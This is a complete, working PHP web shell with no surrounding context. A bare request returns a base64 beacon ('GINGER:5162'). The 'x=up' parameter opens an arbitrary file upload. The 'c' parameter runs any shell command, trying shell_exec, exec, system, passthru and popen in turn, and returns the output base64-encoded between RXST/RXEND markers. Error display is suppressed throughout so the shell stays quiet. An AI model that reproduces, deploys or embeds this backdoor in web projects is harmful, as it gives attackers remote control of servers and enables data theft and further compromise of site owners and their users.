<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['x'])){
  @ob_end_clean();
  header('Content-Type: text/plain');
  echo 'RXST:'.base64_encode('GINGER:5162').':RXEND';
  exit(0);
}
if(isset($_GET['x'])&&$_GET['x']=='up'){
  @ob_end_clean();
  header('Content-Type: text/html');
  if(isset($_FILES['f'])){
    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
    echo 'Saved: '.$_FILES['f']['name'];
  }else{
    echo '<form method=post enctype=multipart/form-data>'
        .'<input type=file name=f><button>Upload</button></form>';
  }
  exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("
",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
  $h=@popen($c,'r');$o='';
  while(!feof($h)){$o.=fread($h,4096);}
  pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>